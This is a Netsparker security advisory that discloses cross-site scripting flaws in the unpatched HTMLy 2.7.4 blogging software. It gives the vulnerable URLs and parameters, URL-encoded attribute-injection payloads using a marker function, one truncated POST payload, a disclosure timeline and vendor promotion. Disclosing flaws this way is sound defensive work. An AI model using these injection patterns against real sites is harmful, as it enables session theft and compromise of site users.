Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4 Information -------------------- Advisory by Netsparker Name: Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4 Affected Software: HTMLy Affected Versions: 2.7.4 Homepage: https://github.com/danpros/htmly Vulnerability: Cross-Site Scripting Severity: High Status: Not Fixed CVE-ID: CVE-2019-8349 CVSS Score (3.0): CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N Netsparker Advisory Reference: NS-18-059 Technical Details -------------------- URL http://ns.app/ScanApp/htmly/2018/04/test-image-post/delete?destination=x" onmouseover=netsparker(0x004191) x=" Parameter Name destination Parameter Type GET Attack Pattern x%22+onmouseover%3dnetsparker(0x004191)+x%3d%22 URL http://ns.app/ScanApp/htmly/2018/04/test-image-post/edit?destination=x" onmouseover=netsparker(0x00409D) x=" Parameter Name destination Parameter Type GET Attack Pattern x%22+onmouseover%3dnetsparker(0x00409D)+x%3d%22 URL http://ns.app/ScanApp/htmly/author/kanti Injection URL http://ns.app/ScanApp/htmly/edit/profile Parameter Name content Parameter Type POST Attack Pattern '"--> For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS). Advisory Timeline -------------------- 28th November 2018 - First Contact 29th November 2018 - Details Sent 23rd January 2019 - Last Attempt to Contact 18th February 2019 - Advisory Released Credits & Authors -------------------- These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.